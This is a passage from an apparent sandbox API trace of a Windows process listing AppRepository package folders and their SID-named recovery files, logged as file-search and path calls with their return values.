Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7e0b217, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x55c86ac0, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55c86ac0, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b30 [0221.232] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7e0b217, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x55c86ac0, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55c86ac0, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.232] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55c86ac0, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x55c86ac0, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55d1f366, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.233] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55bee13e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x55bee13e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55c86ac0, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0221.233] FindNextFileW (in: hFindFile=0x1d1f5b30, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55bee13e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x55bee13e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x55c86ac0, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0221.233] FindClose (in: hFindFile=0x1d1f5b30 | out: hFindFile=0x1d1f5b30) returned 1 [0221.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.234] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0221.377] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7a [0221.377] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0221.378] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7b [0221.379] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c592f0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd709fd1b, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd709fd1b, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5bf0 [0221.381] FindNextFileW (in: hFindFile=0x1d1f5bf0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c592f0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd709fd1b, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd709fd1b, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.381] FindNextFileW (in: hFindFile=0x1d1f5bf0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad6ebae, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1ad6ebae, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x1ad6ebae, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.381] FindNextFileW (in: hFindFile=0x1d1f5bf0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.381] FindClose (in: hFindFile=0x1d1f5bf0 | out: hFindFile=0x1d1f5bf0) returned 1 [0221.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.382] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0221.383] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7a [0221.383] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0221.386] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7b [0221.387] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c592f0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd709fd1b, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd709fd1b, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0221.388] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c592f0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd709fd1b, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd709fd1b, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.388] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad6ebae, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1ad6ebae, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x1ad6ebae, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.388] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad6ebae, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1ad6ebae, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x1ad6ebae, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0221.388] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0221.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.389] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x75 [0221.389] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscamera_2015.1071.40.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c592f0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xa8c592f0, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xd709fd1b, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0221.391] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c592f0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xa8c592f0, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xd709fd1b, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.392] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad6ebae, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1ad6ebae, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x1ad6ebae, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.392] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.392] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0221.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.393] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x75 [0221.393] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscamera_2015.1071.40.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c592f0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd709fd1b, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd709fd1b, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0221.394] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c592f0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd709fd1b, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd709fd1b, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.394] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad6ebae, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1ad6ebae, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x1ad6ebae, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.395] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad6ebae, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1ad6ebae, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x1ad6ebae, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0221.395] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0221.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.396] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_17.6308.42271.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_17.6308.42271.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x82 [0221.396] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_17.6308.42271.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscommunicationsapps_17.6308.42271.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab8c0ebb, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xab8c0ebb, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xd83b2828, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0221.398] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab8c0ebb, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xab8c0ebb, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xd83b2828, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.398] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdba15469, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xdba15469, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xdba15469, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x5e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.399] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.399] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0221.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.400] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_17.6308.42271.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_17.6308.42271.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x82 [0221.400] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_17.6308.42271.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscommunicationsapps_17.6308.42271.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab8c0ebb, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd83b2828, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd83b2828, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0221.401] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab8c0ebb, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd83b2828, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd83b2828, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.401] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdba15469, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xdba15469, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xdba15469, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x5e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.401] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdba15469, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xdba15469, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xdba15469, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x5e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0221.403] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe") returned 0x89 [0221.404] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All 